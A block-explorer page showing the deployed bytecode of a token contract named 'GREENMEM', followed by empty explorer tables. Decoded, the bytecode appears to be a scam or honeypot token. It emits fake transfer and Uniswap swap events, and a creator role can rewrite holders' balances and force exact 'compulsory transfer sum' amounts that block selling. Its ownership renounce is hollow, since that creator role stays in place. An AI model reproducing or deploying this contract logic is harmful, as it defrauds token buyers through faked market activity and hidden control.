1c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e9352ac90fb48c0144a0b365b3cad217ecba6b9405870961cc0362cb0b3b8f1a64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600881526020017f475245454e4d454d000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600881526020017f475245454e4d454d00000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220e9352ac90fb48c0144a0b365b3cad217ecba6b9405870961cc0362cb0b3b8f1a64736f6c63430008120033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.